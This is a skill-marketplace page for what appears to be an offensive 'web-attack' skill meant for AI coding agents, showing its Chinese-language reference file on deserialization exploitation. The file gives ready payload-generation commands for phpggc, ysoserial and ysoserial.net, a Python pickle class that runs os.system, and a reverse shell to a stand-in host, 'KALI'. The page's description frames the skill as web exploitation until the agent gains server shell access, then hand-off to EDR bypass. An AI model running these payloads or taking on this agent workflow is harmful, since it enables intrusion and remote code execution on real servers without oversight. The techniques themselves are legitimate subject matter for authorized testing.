pale-knight/redteam-skill / skills/web-attack
web-attack
FlaggedHTTP/Web exploitation until a server shell or equivalent OS execution. Use after /web-recon has mapped the application. Covers injection, upload, LFI, SSRF/XXE, SSTI, deserialization, JWT/SAML, API logic, desync/cache/parser, and Web-controlled backend abuse. WAF stays here. Endpoint blocks after OS execution hand off to /edr-bypass then return. Direct non-HTTP service ports belong to /recon or /service-attack.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 5.3 KB |
| references/api-security.md | markdown | 20.3 KB |
| references/auth-bypass.md | markdown | 1.9 KB |
| references/cmdi.md | markdown | 5.0 KB |
| references/deserialization.md | markdown | 1.6 KB |
| references/http-desync.md | markdown | 5.2 KB |
| references/java-deserialization.md | markdown | 3.3 KB |
| references/jwt.md | markdown | 1.4 KB |
| references/lfi-rfi.md | markdown | 4.0 KB |
| references/orm-leak.md | markdown | 5.3 KB |
| references/parser-differentials.md | markdown | 4.4 KB |
| references/saml-security.md | markdown | 3.6 KB |
| references/server-side-client-abuse.md | markdown | 3.3 KB |
| references/sqli-mssql-chain.md | markdown | 6.3 KB |
| references/sqli-mysql-chain.md | markdown | 5.9 KB |
| references/sqli-oracle-chain.md | markdown | 4.7 KB |
| references/sqli-postgresql-chain.md | markdown | 4.6 KB |
| references/sqli.md | markdown | 8.0 KB |
| references/ssrf.md | markdown | 4.6 KB |
| references/ssti.md | markdown | 5.3 KB |
| references/upload.md | markdown | 3.6 KB |
| references/waf-bypass.md | markdown | 6.8 KB |
| references/web-cache.md | markdown | 4.1 KB |
| references/xss.md | markdown | 3.8 KB |
| references/xxe.md | markdown | 1.5 KB |
references/deserialization.md
View on GitHub# 反序列化(PHP / .NET / pickle)
> Java 专页:`java-deserialization.md`
> **成功:** gadget 触发 OS 命令 / 写文件 / 反弹
## 反序列化
### 识别(解码后看头部特征)
```
PHP: O:4:"User":2:{s:4:"name";...} # O=对象
Java: 十六进制 ac ed 00 05 / base64以 rO0AB 开头
.NET: base64以 AAEAAAD///// 开头
Python: pickle以 \x80\x04 等开头
```
### 确认可控且真的被反序列化
```
PHP: 改属性值后重发,行为变化 → 确认unserialize了你的输入
Java: 改坏几字节,500+栈里出现 readObject → 确认走了反序列化
```
### PHP(phpggc)
```
phpggc -l | grep -i laravel # 列该框架可用链
phpggc Laravel/RCE1 system id # 生成payload
phpggc Laravel/RCE1 system id -b # base64输出
# 反弹shell
phpggc Laravel/RCE1 system 'bash -c "bash -i >& /dev/tcp/KALI/4444 0>&1"' -b
```
无框架时:找源码里含 `__destruct` / `__wakeup` 且能触达危险函数的类,手写对象。
### Java(ysoserial)
```
java -jar ysoserial.jar CommonsCollections5 'id' | base64
# CC5不行就依次试 CommonsCollections1-7 / CommonsBeanutils1 / Groovy1
```
### .NET(ysoserial.net)
```
ysoserial.net -g <gadget> -f Json.Net -c "cmd"
```
### Python(pickle)
```python
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
```
### phar://触发(PHP特殊场景)
文件操作函数(file_exists/is_file等)遇到 `phar://` 前缀时会反序列化phar元数据。将构造的序列化对象藏进phar文件上传。
---
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| receiving-code-reviewobra/superpowersUse when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| requesting-code-reviewobra/superpowersUse when completing tasks, implementing major features, or before merging to verify work meets requirements | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| using-git-worktreesobra/superpowersUse when starting feature work that needs isolation from current workspace or before executing implementation plans - ensures an isolated workspace exists via native tools or git worktree fallback | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| verification-before-completionobra/superpowersUse when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |